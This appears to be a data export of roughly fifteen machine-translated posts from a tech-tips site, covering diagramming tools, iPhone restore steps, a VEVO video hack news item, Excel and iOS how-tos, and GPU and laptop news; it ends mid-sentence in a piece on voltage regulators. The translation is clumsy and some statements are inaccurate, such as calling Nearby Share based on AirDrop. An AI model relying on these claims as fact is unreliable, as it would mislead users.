quickly connect bricks to each other. Overall, this application is very flexible and useful for all users.\n  Key features and highlights:\nGreat, custom page sizes for all chart types. Site map makes it easy to work on multiple charts. Advanced object manipulations, including 3D controllers. Can open (but not save to) Microsoft Visio format. Download LibreOffice\n6. Diagram Designer Designer Diagram is a slightly rudimentary application because it has not been updated since 2015. However, do not hate it. Diagram Designer runs extremely well on Windows 10 settings and is very effective at creating beautiful block diagrams. Perhaps it will be updated in the future and this is a great application for individual users.\n  Features and highlights:\nEasy-to-use drag and drop interface. Available import and export options for PNG, JPG, BMP, GIF, ICO . Download Diagram Designer\n7. PlantUML Unlike other map creation applications, instead of using a graphical interface, you can create PlantUML scripting language diagrams. This is a great tool for programmers who don't like dragging and dropping the mouse. However, PlantUML requires Java on the system.\n  Key features and highlights:\nIdentify objects and relationships using PlantUML scripting language. Supports a variety of chart types: sequential charts, usecase, class diagrams, Gantt horizontal diagrams and more. Available export options such as PNG, SVG or LaTeX. Download PlantUML\n8. LucidChart   If you are looking for an alternative to Microsoft Visio, LucidChart is the perfect choice. It provides a drag and drop web interface to draw any kind of diagram. LucidChart gives you an option to build collaborative diagrams with your team. The feature that makes many people work on the same diagram has made it the perfect choice for small groups. One of LucidChart's great features is that it can easily export or import Microsoft Visio .vdx files. One thing that LucidChart lacks is that it does not categorize different shapes for regions such as networks, technology, etc. You do not need to register an account when using LucidChart, just open the website and start drawing.\nDownload LucidChart\n9. Graphviz   \nFor some small replacements, you can try Graphviz, this nearly thirty-year history tool that will help you create charts, graphs, hierarchical charts, etc. using the utility. Command line and powerful DOT language. It takes some time to get used to it but once you're familiar, you'll find that it can save you a lot of time. This tool has a large number of formats you can export graphs and some layout such as hierarchical layout, radial layout and more. If you're not too picky about colors, but only because the content is organized and created immediately, Graphviz is the perfect choice.\nDownload Graphviz\n10. Draw.io   \nDraw.io has an easily accessible interface, with tools in the left column and drawing board in the right column. You do not need to register an account to use Draw.io, just visit the website, you will be given the option to save your work on cloud services like Google Drive and OneDrive or hard drive. . If you connect Draw.io to your Google account, you can work on the same project with others. Draw is not a complicated tool, it does not provide advanced features like some other drawing software.\nDownload Draw.io\nThese are the most useful free diagram creation tools. You can refer to which application fits your needs!\nncG1vNJzZmismaXArq3KnmWcp51kfnF5wZ6qrWWWp7KmecOimKCqkaK6qrrGZquop5yoeqe70WauoqaUpMS0\n","link":"/post/10-best-free-diagramming-tools-for-windows/","section":"post","tags":null,"title":"10 best free diagramming tools for Windows"},{"body":"While using iPhone, there may be times when you will experience the iPhone is disabled and don't know how to reopen the iPhone. In this article, I will guide you 2 ways to unlock iPhone on your computer quickly and effectively.\nThe reason for iPhone is disabled: You forgot the password to unlock the iPhone and entered incorrectly too many times causing the iPhone to be disabled. Specifically:\nEnter incorrectly 5 times in a row - iPhone is disabled for 1 minute. Enter incorrectly 7 times in a row - iPhone is disabled for 5 minutes. Enter incorrectly 8 times in a row - iPhone is disabled for 15 minutes. Entered incorrectly 9 times in a row - iPhone is disabled for 60 minutes. Enter incorrectly 10 times in a row - iPhone is disabled. + Step 1: Connect your iPhone to the computer\nFirst, you connect your iPhone to your computer via a USB - Lightning or USB - Type C cable and then power off your iPhone.\n+ Step 2: Put the iPhone in DFU mode and restore\nNext, you open the iTunes software on your computer and will see the message iPhone is disabled (iPhone is disabled).\nYou press and hold 2 buttons at the same time as the Power button and the Home button for a few seconds and then release the Power button, holding the Home button remains the same to bring the iPhone to DFU mode.\n  Wait a moment for iTunes to connect to the iPhone, a screen will appear saying that iTunes has received a connection to the iPhone. When you see this message, let go of the Home button.\nWhen you release your hand from the Home button, the computer screen will display a message saying 'iTunes has detected an iPhone in recovery mode. You need to restore this iPhone before you can use it with iTunes'.\nClick the OK button to continue.\n+ Step 1: Connect iPhone to iTunes\nYou use a cable to connect the iPhone to iTunes on the computer\u0026gt; Press the Back up now button to back up the data in the iPhone.\n  + Step 2: Restore data\nYou wait for the data Back up process to finish\u0026gt; Click the Restore Backup button and then navigate to the nearest backup\u0026gt; Click to select this backup.\n  Wait for the backup restore process to complete, then enter your correct iCloud account to log into your iPhone.\nGo to iCloud.com\u0026gt; Sign in with your Apple ID account.\n  Select Find iPhone.\n  You choose All Devices\u0026gt; Choose your iPhone device's name.\n  You choose Erase iPhone to delete old data. The iPhone will then go through the reset process, using the most recent backups to restore data and unlock your iPhone.\n  Erase iPhone to initiate a reset\nAbove are 2 ways to unlock iPhone is disabled. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51kf27DwLKqZqyfYsKvuM6comahoJ28r7GMmqmeZZSewKKuy56bZqeeYrCwuc%2Buq56qXZuutMA%3D\n","link":"/post/2-ways-to-unlock-iphone-are-disabled-on-computer-fast/","section":"post","tags":null,"title":"2 ways to unlock iPhone are disabled on computer fast"},{"body":"Despacito song MV over 5 billion singers Luis Fonsi's views on newly grouped YouTube Hacker By Prosox changed its name to \"Hacked by prosox \u0026amp; kuroi'sh \u0026amp; shade \u0026amp; akashi it \u0026amp; kiraroot \u0026amp; xepher \u0026amp; senpaiweb \u0026amp; misao .\" , the cover photo was replaced by a group of red shirts, masks and guns. Although still appearing in the Top 1 search, we cannot see this MV Despacito. After a few minutes, this video disappeared from the list of videos of LuisFonsiVEVO channel on YouTube.\n    The cover of the MV Despacito was changed by a group of people wearing masks wearing guns.\nThe hacker group was allegedly infiltrated and renamed a series of popular songs with hundreds of millions of views, such as Fonsi, Maroon 5, Shakira, Selena Gomez, Drake, Naughty Boy . There were about 124 MV hacked. Most of the \"demolished\" MVs belong to VEVO's network, this major partner of YouTube. It is very likely that VEVO is having problems with account security.\n Similar to Despacito, many other popular music videos have been compromised and renamed, even removed.\nThis incident is shaking the global social network and on Reddit the list of \"victims\" similar to Despacito is being updated.\nVEVO and YouTube have no feedback on this incident yet.\nBy 19h on April 10 in Vietnam time, the MV Despacito with the MV cover was restored and the view of the more than 5 billion views has reappeared on YouTube.\nSee more:\nWarning: Detecting more than 1000 Cisco router and switch devices in Vietnam has a serious security error Warning: GandCrab extortionist code is attacking Vietnam Warning of new malware appear like Wannacry, capable of deleting Vietnamese percussion on computer Appearing dangerous Android malicious code specializing in stealing chat content on Facebook Messenger, Skype . ncG1vNJzZmismaXArq3KnmWcp51krm6%2FxKugnqtdpLNur9Slq2aumZmysL%2BMm6ClpJmku7R5zp9kr6GVrMBuu81msKitpKqvpnnWnqmeZZiWsKyxw2apnqaRorKlecCnm2aclaGytbHD\n","link":"/post/a-series-of-cult-videos-billions-of-views-on-youtube-were-hacked-renamed-and-deleted/","section":"post","tags":null,"title":"A series of cult videos, billions of views on YouTube were hacked, renamed and deleted"},{"body":"Broken screen is one of the common damage that smartphone users often encounter. Especially when the price of smartphone is expensive, the cost for users to repair or replace the screen is also increasing. Therefore, if the smartphone screen breaks without affecting the overall performance of the device, many users still accept to live with it and to hide the cracks, they have devised an extreme plan. creative period.\nPlease admire the broken screen after being decorated to help the smartphone look more cool by users all over the world.\n1. Probably there is no smartphone screen that can withstand such a powerful blow.\n  2. Iron Man's punch, true!\n  3. The iPhone's screen is severely broken because it has to take a strong hex from Son Goku's Kame owl.\n  4. Kick with tremendous power.\n  5. Princess Elsa with her freezing ability makes it easy for the iPhone screen to break.\n  6. With super speed kick, breaking the smartphone screen is only a small affair for Bruce.\n  7. Powerful punch makes smartphone screen broken.\n  8. One option for favorite users of One-Punch Man.\n  9. Which screen can withstand the laser beam shot from Iron Man's arm.\n  10. The devastating power of Captain America's shields can certainly destroy every screen.\n  11. Fan Miley Cyrus - Wrecking Ball! will like this choice.\n  12. It is terrible, but is it necessary to be surprised to this extent?\n  See more:\nThe user interface to play is fun but if you use it will really drive you crazy The hot moments of the gamers' team are so hot that you can't help laughing Eyes with the magic of magic 1-0-2 just won the World Magician championship ncG1vNJzZmismaXArq3KnmWcp51kr7O7yp6lZqudlr%2B1vMeopZ5lo5i%2FprHNZqCfZamkwm6wzmalqKxdrK6vwIytpmaroJq7pXnMqKWesV2uvLZ5wpqlZqqVm7KzedOoZK2glaiybq%2FOqKNmnpmterit2Kw%3D\n","link":"/post/broken-smartphone-screen-if-you-do-not-want-to-spend-money-you-can-refer-to-these-cool-fix-ways/","section":"post","tags":null,"title":"Broken smartphone screen, if you do not want to spend money, you can refer to these cool 'fix' ways"},{"body":"In the following article, TipsMake.com will introduce you how to create DVD movie disc from avi format video files available in your computer with free DVD Flick software.\nImplementation steps It can be said that DVD Flick is one of the most popular and powerful free and open source tools that can handle most popular video formats, convert formats and burn to DVD, through it. There are cards for use on current DVD players. After downloading and installing the program successfully, press the Add title button in the window on the right:\n Then point to the folder where the video file is stored and convert it to DVD:\n Change the order of these files if you want with the Move up or Move down buttons :\n Then select Project Settings\u0026gt; Burning\u0026gt; Burn project to disc and name this project. Should choose a low speed to get the best quality possible, and check the Verify disc after burning box:\n Besides, users can change some of the default menus available:\n And when you have adjusted the above parameters, click Create DVD to start the conversion process:\n Depending on the size of the video file, the process will be fast or slow (it may take hours), if you need to do something else, press the Enter me button :\n The program will help you \"kill time\" with classic puzzle game:\n Or simply, collapse the program under the system tray with the minimize button:\n The program comes with the ImgBurn application and by default, DVD Flick will automatically activate ImgBurn to burn DVDs:\n In this test, we recorded 4 avi files with a total capacity of 1.17GB taking up to 2 hours:\n To ensure this process does not encounter any errors, you need to check again:\n At this step, you need to delete the avi file in the folder to convert the format into DVD or transfer it to another folder:\n  Create DVDs using Windows DVD Maker On the other hand, you can use the Windows DVD Maker program available in Windows Vista or 7 to conduct conversion and burn to DVD disc. However, you need to install the correct codec for the whole process to work stably. Open Start Menu All Programs Windows DVD Maker:\n At the main interface of the program, you select the Add function and point to the video file storage folder - or simply drag and drop the video directly into it. Change title in DVD title section:\n If you encounter the following error message, it means that your system has not been properly installed with the appropriate codec, in this case please install the latest K-Lite Mega Codec Pack which is currently 6.40 at here or ffdshow:\n After installing the appropriate codec, Windows DVD Maker can recognize those AVI files. Next step, choose 1 of the different Styles Menu :\n Or edit the details of these menus:\n After you've done everything, press the Burn button to start the format conversion process and create a file to burn:\n Depending on the size of the original file, this process will happen quickly or slowly:\n When finished, you can save the project (in msdvd format) for later editing if you want:\n The following is a check-up with the VLC program:\n On the other hand, users can completely make DVDs with the popular Nero program if they have the copyright to use, the same way as above:\n With some popular support programs like DVD Flick, Windows DVD Maker or Nero, you can create your own DVD movies with good quality, the longest period of the entire process. It is probably waiting when converting the original file to a format that is suitable for the program. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZrGfqr9uu9anZJ2ulGLDqrDEqGSwoaSderW0xGabr5xdm7mqr8pmp6unl6eurg%3D%3D\n","link":"/post/create-your-own-dvd-video-with-the-dvd-flick-program/","section":"post","tags":null,"title":"Create your own DVD video with the DVD Flick program"},{"body":"I and a lot of people have just received notifications from Facebook, they first lock their account and then request a password change. I changed my password and then everything was normal again.\n  \nIf you are asked, follow the instructions. Since this is an unusual change, you have not prepared the password first so if you choose a new password, remember to record or choose something that is hard to forget. Good luck.\n  \nncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdobykt4yampxlk52ur7PEZqeaq6OsvLOwjKOsrKxdm7ytuM6wZKKsXZm8r8CMsKarqqk%3D\n","link":"/post/facebook-lock-acc-change-password-just-follow-it-don-t-worry/","section":"post","tags":null,"title":"Facebook lock acc, change password ... just follow it, don't worry"},{"body":"One of the ways to refresh the web browser without the need to support it is to change the wallpaper for the browser. With Opera, you can use the images available in the browser gallery, or use personal images as wallpapers for your browser. This wallpaper changer feature is available in popular browsers today, including using your personal photos. The following article will guide you to read 2 ways to change the wallpaper on Opera browser.\nHow to change the Chrome interface, create the theme for Chrome very toxic How to put videos for New Tab interface on Chrome How to turn on and turn off smooth scrolling on Opera How to watch videos from the thumbnail screen on Opera Instructions for changing wallpapers for Opera 1. Use Opera wallpapers available Step 1:\nAt the interface on Opera browser, users click on the browser icon and select Settings or press Att + P.\n  Step 2:\nSwitch to the new interface in the Wallpapers section, we will see all the wallpapers provided for the Chrome browser. Below is the background image we are using.\nUse the arrow to the right or left to browse the wallpaper you want to use. To add new wallpapers click Get more wallpapers.\n  Step 3:\nThe user is then moved to the new interface with different wallpaper themes. Users can choose different categories to search for wallpapers that they like faster.\n  Step 4:\nClick on the wallpaper you want to select and then click on the Add to Opera button to add it to the browser.\n  Step 5:\nGo back to the Opera browser wallpaper interface and see the new wallpaper instead. Select the new wallpaper to install as a browser wallpaper.\n  2. Download personal photos as Opera wallpapers With the use of personal photos in the computer as an Opera wallpaper we have 2 ways to do it.\nMethod 1:\nStep 1:\nFirst, users also need to access the Settings interface of the browser and also go to Wallpaper. Here we click Add your wallpaper .\n  Step 2:\nDisplay the folder on the computer so we can choose the wallpaper we want to use on Opera. As a result, you also see the wallpaper displayed in the Recent wallpapers section as shown.\n  The image is then also set for the browser background image.\n  Method 2:\nStep 1:\nRight-click on the image and select Open with . We will select Opera browser to open the image.\n  Step 2:\nIn the browser view interface, right click and the user clicks on Use image as wallpaper to set the wallpaper for the browser.\n  The resulting image was set as the background for Opera shortly thereafter.\n  Thus users can choose available photos provided by Opera or use their personal photos as wallpaper for the browser. You can freely customize Opera's interface to your liking.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYywmKWkoJa9pr6MqKVmp6Cav6J5waumsKuVpw%3D%3D\n","link":"/post/how-to-change-wallpaper-on-opera-browser/","section":"post","tags":null,"title":"How to change wallpaper on Opera browser"},{"body":"While using the phone you will see interesting things and want to share it with friends. You will take a screenshot then send it to a friend. However, when the story you want to share is on several screenshots, you will definitely want to combine them into a single photo. With your mobile application Tailor can do that.\nTailor is a third-party application for iPhone, which helps users to easily combine screenshots. Application developed by Foundry 63, and completely free, you can download the application on the App Store. The application works on iPhone and iPad and iPod touch and requires from iOS 9 and above. Follow the instructions below to combine multiple iPhone screenshots into a single image.\nStep 1 . First of all, download and install Tailor application on iOS device.\nStep 2. Take a screenshot of your iPhone phone screen.\nFor other iPhones, click the Home button and the power button at the same time With iPhone X, simultaneously press the power button and volume up button Note:\nIf you cannot capture the screen with the phone keys, you can switch to take a photo using AssistiveTouch mode or use the virtual home key. When taking a screenshot, you need to make sure that there are overlapping content between the pictures. Step 3. Now, open Tailor app on iOS device.\nStep 4. Next, a window will appear asking for access to your photo library. Click Allow Access , then click OK .\n  The application will immediately identify, analyze and pair your screenshots.\nNote: You will see the \"Not Enough Overlap - error\" when the content of your photos does not overlap. In this case, you need to take a screenshot.\n  Step 5. When done, you need to click on the save / share button to save the image or share it with your friends.\n  You can take the same steps to merge other screenshots. The application is intuitive and has a simple interface that allows you to complete your work without any problems.\nSee more:\nTop free photo editing application on iPhone How to make clouds effect for still images How to replace art background image with PicsArt Applications that create ultra-toxic animations on Android and iPhone phones Instructions for taking live and animated photos on iPhone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufoq%2BqusRmpK6kpJ69rbGMrJqrnZWjerS0zq2qZqGeqbxurYysoKefnJp6sbTOraZmp55itrG0zqecZpmemXqqvMCd\n","link":"/post/how-to-combine-multiple-screen-shots-into-a-single-photo-on-iphone-and-ipad/","section":"post","tags":null,"title":"How to combine multiple screen shots into a single photo on iPhone and iPad"},{"body":"Texting by voice is a quite useful and unique feature, especially for older users. The following article will guide you how to compose voice messages on iPhone, Samsung, Xiaomi phones, please follow the article below!\n  1. Compose voice message on iPhone device Step 1: We go to Settings =\u0026gt; General settings =\u0026gt; Keyboard .\n  Step 2: You turn the switch Turn on dictation to On and touch Turn on dictation again to confirm.\n  Step 3: Go back to the previous section and select Language Spelling then check the Vietnamese, English (United States) .\n  Step 4: Open the messaging application and start trying the feature of composing by voice. Touch the Microphone icon (1) on the virtual keyboard, then you say content into the microphone on the phone. Then click Send  (2) to send message.\n  2. How to compose voice messages on Samsung phones Step 1: Go to Settings =\u0026gt; General Management =\u0026gt; Language and keyboard .\n  Step 2: You select Keyboard on screen =\u0026gt; Voice input by Google .\n  Step 3: We choose Language =\u0026gt; Vietnamese =\u0026gt; Save to set up voice commands.\n  Step 4: Open the messaging application and select the Microphone icon (1) and say the content to message. Then, click Submit  (2) is done.\n  3. How to compose voice messages on Xiaomi phones Step 1: Go to Settings =\u0026gt; Additional settings =\u0026gt; Language and input .\n  Step 2: Select Google Voice Input =\u0026gt; Language .\n  Step 3: Select the language is Vietnamese  (1) and click Save  (2) .\n  Step 4: Open the messaging app and tap the Microphone icon and enter your voice. Then you press send to send the message composed by your voice.\n  With a simple and helpful guide to writing messages in the article, you can take advantage of this feature to compose messages in case you need to compose messages urgently while both hands are busy. And especially this feature is quite useful for elderly users who have difficulty writing messages manually. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufor2wv8Rmraihk5p6rrHSrJignaNivK95yKmfqKaVYsCiudKupaBlkaOxbsTImqamoV2ltbC6xKw%3D\n","link":"/post/how-to-compose-voice-messages-on-iphone-samsung-and-xiaomi-phones/","section":"post","tags":null,"title":"How to compose voice messages on iPhone, Samsung and Xiaomi phones"},{"body":" This wikiHow teaches you how to remove unwanted spaces from cells in an Excel spreadsheet. Highlight the range in which you want to remove all spaces. For example, if you want to remove spaces from C2 through C30, highlight those cells.\nUsing Find and Replace  Highlight the range in which you want to remove all spaces. For example, if you want to remove spaces from C2 through C30, highlight those cells.\n  Click the Edit menu.\n  Select Find.\n  Select Replace…. A dialog box will appear.\n  Click the box beneath 'Find What.'\n  Press the space bar on the keyboard. Make sure to press it only once.\n  Click Replace All. It's the second button at the bottom of the window. The spaces are now removed from the selected cells. A pop-up will appear, letting you know how many spaces were removed.\n  Click Click OK.\n Using the Substitute Function  Click the top cell in a blank column. The cell must be on the same row as the first line of data in the column with the spaces. For example, if you want to remove spaces from column C, and C's first row of data is in row 2 (C2), click the second cell in your blank column (e.g. E2, F2, G2, etc).   Type =Substitute.[1]\n  Click the first cell in the column with spaces. For example, if you want to remove all of the spaces from the C column, click the first box (e.g. C2) in the column that isn't the title. If you clicked cell C2, the formula should now look like this: =Substitute(C2 .   Type , (a comma). The cell should now look like this: =Substitute(C2,.\n  Type \" \",. There's a space between the two sets of quotes—this is important. The formula should now look like this: =Substitute(C2,\" \",.   Type ''). This time, there's NO space between the sets of quotes. The formula should now look like this: =Substitute(C2,' ','').   Press ↵ Enter or ⏎ Return. You will now see the contents of the selected cell (C2, in this example) without spaces in the new column. For example, if C2 said w ww . wikih ow .com, your new cell will say www.wikihow.com.   Click the cell with the formula you typed. The cell should now be highlighted.\n  Drag the fill handle down over the cells you want to fill. The data from each corresponding cell will now appear in your new column without spaces.\n  Copy the data from the new column to the original column. Your new space-free data is now in place.\n  Lesley Montoya Update 08 June 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYysp5qblah6o7HTsJyepl2YtaK%2BwJyrnqqjYq6vsIynrKaalafAbrXNZpyxm5Wh\n","link":"/post/how-to-remove-spaces-between-characters-and-numbers-in-excel/","section":"post","tags":null,"title":"How to Remove Spaces Between Characters and Numbers in Excel"},{"body":"Now, Apple has improved Notes from a simple app to a tool with many new features and conveniences. Your Notes are stored in iCloud so you can easily edit them on any device. Plus, the Scan feature's been added so you can scan a document and add it to the writing page.\nScan documents using Notes application Step 1: Open the Notes app on your iPhone or iPad.\n  Click the Notes icon in the lower right corner to create a new note. While composing notes, to scan documents, you click on the plus icon .\n  Step 2: Select the camera icon in the toolbar \u0026gt;\u0026gt; Scan document .\n  Step 3: When the camera opens, bring up the screen on the document. Once your document page is recognized, the camera will automatically capture it. You can disable this feature by pressing Automatic in the top right corner. From there you will be able to take a selfie using either the Shutter button or the volume button.\n  Step 4: You can take multiple pages continuously, just turn the document to the page and take the photo, the photo will automatically save to the temporary gallery. When you have taken enough, you click on the thumbnail in the lower left corner to review the photos.\nAt this screen you can perform basic editing steps such as rotate, flip, crop and add color filters.\n  When you're satisfied, tap Done .\nStep 5: Go back to the camera, choose Save .\n  You'll see the document added to the Notes page in a header (taken from the first line in the document). You can click on the title to double name it whatever you want.\nAlternatively, you can open the document and tap Share in the top right corner to share it with others. From here there are also other features like marking up, printing, copying, and saving the document to File.\n  Scan documents using the Evernote Scannable application In addition to the Notes app, you can also use a third-party app to scan documents, the Evernote Scannable for example.\nStep 1:\u0026nbsp;Download Evernote Scannable here.\nStep 2: Open the app, you'll be asked if you want to connect to Evernote? If you've never created an Evernote account, choose Not Now .\n  Step 3: When taken to the camera, do the same as above, just place the document in front of the lens and the app will automatically capture it. If you do not want to take a selfie of your own accord, choose the three-dot icon and set the capture manually .\n  Step 4: When taking a photo, open the photo and click on the Customize icon to rotate and crop the picture as you like.\n  Step 5: Once done, choose Save \u0026gt;\u0026gt; Camera Roll .\n  And those are two methods for you to scan documents on iOS to get clear images, serving well for your work.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquTlrtusM6crKadnqnAbsHSoqWgZZ6kwaa%2FjJqnqWWfo3qqu9I%3D\n","link":"/post/how-to-scan-documents-using-notes-app-on-ios/","section":"post","tags":null,"title":"How to scan documents using Notes app on iOS"},{"body":"In August 2020, Google introduced the Nearby Share feature, based on Apple's AirDrop protocol. At the time, you could only use the feature on certain Android devices, but Google has committed to bringing it to Chromebooks. Now, after almost a year, the company is starting to roll out the Nearby Share feature to Chrome OS.\nJust like on the Android version, the Nearby Share feature on Chrome OS can send files over Bluetooth, Bluetooth LE, WebRTC, or peer-to-peer Wifi, allowing you to use the protocol even when you're not. Internet connection.\nBesides, you're not limited to sending files only to Chrome OS devices. In the \"Connected devices\" of the Settings menu, you can adjust who can see your Chromebook when you're nearby.\nWith Chrome OS 91, Google will add two other new features. Grid apps will display a circular badge so you know when a notification is available. These apps don't show notification numbers and you can turn them off by going to the Quick Settings menu's Notifications (Quick Settings menu).\n  Meanwhile, in the Files app, you'll find a new toggle that lets you save Google Docs, Sheets, and Slides documents for offline access. After using this feature, you will see a checkmark icon next to the file, which you can view and edit offline. The company said it will begin rolling out the offline conversion feature to be available starting later this month.\nFinally, you can use a new set of Imaginary wallpapers created by artist Leo Natsume to personalize Chrome OS. They are well worth a try!\nncG1vNJzZmismaXArq3KnmWcp51ku6at0ZuwZquYlr%2BmecWemK2topp6uLXToWSmmZ6ueqq6056pnquknruoedOhoKefo2K2tHnAr5iipJGXuaZ5zqdknKCipLqmrs6ooqw%3D\n","link":"/post/nearby-share-feature-with-many-interesting-things-is-available-on-chromebooks/","section":"post","tags":null,"title":"Nearby Share feature with many interesting things is available on Chromebooks"},{"body":"Nvidia is taking great strides in realizing its ambition to create a line of laptops running new GeForce graphics cards, targeting both the casual and some more demanding gamers. Starting today, you can order laptop models using the high-performance GTX 1660 Ti graphics processor (GPU) or GTX 1650 at a much more affordable price during performance. still ensuring 'acceptable'.\n  Mistakes to avoid when buying hardware components for PC games From Nvidia's calculations, the starting price for notebook models running GTX 1650 will be about $ 799, while for GTX devices using 1660 Ti it will be $ 999 with processing power. Significantly improved. Besides, you can also buy GTX 1650 models separately for desktop computers with a starting price of $ 149. This price makes GTX 1650 a very valuable name in the popular graphics card segment of the GeForce family Nvidia.\nBoth GTX 1650 and GTX 1660 Ti will use Nvidia's proprietary Turing architecture - a big step forward in performance compared to previous Pascal-based models.\nIn a recent press conference, Nvidia said it would have more than 80 models of gaming laptops using models of the 16-series GTX series that will be released this month, and most of them come from Big manufacturer, has reputation in the market like Acer, Dell and MSI.\n  Radeon VII vs RTX 2080: Which GPU should you buy in the 700 USD segment? 'This can be considered our great success in bringing GTX models manufactured on Turing architecture to a diverse number of laptop models from many different manufacturers, with the price being of course It will be much more reasonable than before, 'said Mark Aevermann, product manager for GeForce notebooks at Nvidia.\nThe goal of Nvidia and its manufacturing partners is to target those who own older, more than 4-year-old gaming laptops. According to Mr. Aevermann, up to 75% of active GeForce notebook models still use the GTX 960M model (introduced by Nvidia four years ago) or even weaker models, and these are exactly the same. Nvidia and its partners, how to convince them to switch to using newer CPUs, such as GTX 1660 Ti or GeForce GTX 1650. According to analysis from Nvidia experts, 1660 Ti will give you four times better performance than 960M, and it will also give the ability to battle famous royale battle games like Fortnite and Apex. Legends with speeds up to 100fps (frames per second).\n  Nvidia's 7nm process GPU will probably launch in 2020? Meanwhile, Notebooks models using the GTX 1650 are said to be able to 'weigh well' similar games at 60fps and at the same time provide 2.5 times more graphics performance than 'old man'. GTX 950M. Of course both of these 16-series GPU models can make good use of rendering and shading improvements - characteristic of Turing architecture. However, there is a pity that to ensure the most reasonable selling price, both models will not support, or rather be omitted ray tracing feature (new technology to help reproduce light and Darkness in the game more authentically) which only appears to be more expensive RTX models.\nIf you are interested in VR, choose GTX 1660 Ti. While the GTX 1650 is a cheap and good choice for today's hot current battle game titles, the Nvidia GTX 1660 Ti is aimed at a higher segment, virtual reality games. When asked about VR performance on 16-series GPU models, Mark Aevermann advised users to put their trust in 1660 Ti or other models with higher prices for the best experience.\n  GPU-Z v2.12.0 is equipped with the ability to detect fake NVIDIA video cards 'GTX 1650 is not really an ideal product for VR tasks. Of course there will still be some low-end or mid-level VR content that can run on the GTX 1650, but the experience you get will not really be the best. For gamers, we recommend that you keep an eye on 1660 Ti or other models with higher prices if you want to play the latest VR content at high frame rates without having to be annoyed with phenomena. lagging, 'director Mark Aevermann said.\nncG1vNJzZmismaXArq3KnmWcp51ku7e1w6KYZqSRqruktMSdZKCdlqS%2FpLGMoKuxZWFrgnF5xqmsZpmWm7yzsMCbo55ll6S8pXnPnqmfp6Kirq%2BvxA%3D%3D\n","link":"/post/nvidia-launched-geforce-gtx-1650-gpu-affordable-good-performance/","section":"post","tags":null,"title":"Nvidia launched GeForce GTX 1650 GPU, affordable, good performance"},{"body":"To fully exploit that capacity of the hard drive, you need high-performance Copy / Paste support tools. Currently there are many tools to support the Copy / Paste, but not all tools have good performance, stable performance. In this article, Dexterity Software will introduce to you the Top 3 ultra-fast copy paste software for computers.\n  1. TeraCopy   Homepage: https://www.codesector.com/teracopy\nTeraCopy is known since the early days of Windows computers when they were released from 2008-2009. This is a tool to support the current Copy / Paste with extremely high performance and a beautiful interface. TeraCopy has now developed and changed the algorithm more than before, they have great performance on devices with fast read and write speed. Compared with the default Copy / Paste tool on Windows, TeraCopy can improve performance by 2.5 times and reduce time by half.\nIf you need to Copy / Paste very large files, TeraCopy will be your first choice to solve these problems.\n2. FastCopy   Homepage: https://fastcopy.jp/en/\nFastCopy - True to its name, FastCopy software has a range of algorithms to improve the ability to copy data on Windows. The features on FastCopy are basically the same as the default copy tool on Windows, but they are much faster. The tool has a very unique feature that lists each copy in turn instead of having to wait for the copy to finish and then copy the next document. FastCopy tool will be a great solution for those who need to copy a lot of data during the day.\nIf you need to find the public to automatically copy the data in the list already available, FastCopy will be a great choice for you!\n3. Ultracopier   Homepage: http://ultracopier.first-world.info/\nUltracopier is the perfect solution for copying / pasting large data continuously for long periods of time. Ultracopier tool will help you get the most out of your computer's hard drive performance, Ultracopier tool has a series of smart features to improve data copy / paste speed. The interface of the software is very simple and easy to use right from the first use.\nIn this article, Thru Art Software has introduced to you the Top 3 extremely fast Copy Paste software for computers. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGxkr52irnqnrdKtZJynoK56sa3SrZxmq5%2Bbwbit0Z5kn6eiYrCwuc%2Buq56qow%3D%3D\n","link":"/post/top-3-very-fast-copy-paste-software-for-computers/","section":"post","tags":null,"title":"Top 3 very fast copy paste software for computers"},{"body":"   Taiwanese laptop manufacturers have released a report saying that the world's top five laptop manufacturers today are Dell, HP, Acer, Toshiba and Lenovo will hold up to 70.5. % of world laptop market share in 2006 from 60.1% in 2005. By 2007, these five giants will occupy up to 87% of the global market share of laptops with a total of 55 million units, while in 2004 only 29.45 million units. Dell has risen to the top of the global laptop market and will surely hold this position until the end of 2006. HP has consistently surpassed Dell from 2001 to 2003. Dell plans to produce 14 to 14. 15 million laptops in 2006, followed by HP with about 12-13 million units, Acer 11 million, Toshiba 8.5-9 million and Lenovo from 8 to 8.5 million. Taiwanese laptop market will always be optimistic growth because all 5 giants choose Taiwan as an outpost to attack other Asian markets, but if it seems negligent, one of the 5 big companies above may also be excluded from the Top 5 because of the fierce competition of other companies jumping into the laptop market. Intel will be the most fierce competitor when it has established a laptop manufacturing alliance with companies such as Quanta Computer, Compal Electronics, Asustek Computer, Synnex Technology International . HOANG HAI\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5knKedpa6vtcSsZKGnnJm2r7OMcGdmp5ZitK27wZqjZqSRpcGwvIymmKujlal6tLTAq5xmoZ5if3F8lQ%3D%3D\n","link":"/post/top-5-companies-holding-70-of-global-laptop-market-share-in-2006/","section":"post","tags":null,"title":"Top 5 companies holding 70% of global laptop market share in 2006"},{"body":"The voltage regulator module (Voltage Regulator Module - VRM) is one of the important hardware components in the general structure of a motherboard system, but VRM has not received much attention for a long time. and even people don't even know its existence.In theory, VRM ensures your CPU or GPU receives the cleanest power source possible at a consistent voltage level.\nPoor VRM can lead to degraded performance as well as limiting processor performance when it loads tasks, and may even lead to unexpected system shutdowns, especially when Overclocking.In fact, before the known causes of software, weaknesses in VRM design are also thought to be related to Apple's recent adjustments to the i9 MacBook Pros.\n  Now let's explore what VRM really is and how it affects processor performance.\nWhat is VRM VRM is a circuit that converts DC voltage from this value to a lower value and at the same time keeps this voltage within the permissible limits at different load levels. another name is 'DC to DC converter'.It is impossible to say that this conversion function is a new technology because it has a life time equal to the life of the electronics and electronics industry.It is easy to see that there are many VRM circuits on the motherboard of the computer, it provides power to the CPU, RAM from + 5VDC or + 12VDC source voltage to the lower voltage that the CPU and RAM have. can work.\nHow does VRM work? The VRM in the computer power supply is a DC voltage stabilizer that operates according to the PWM modulation method similar to the main power PWM circuit.It also has equivalent component components such as oscillator IC, Mosfet, 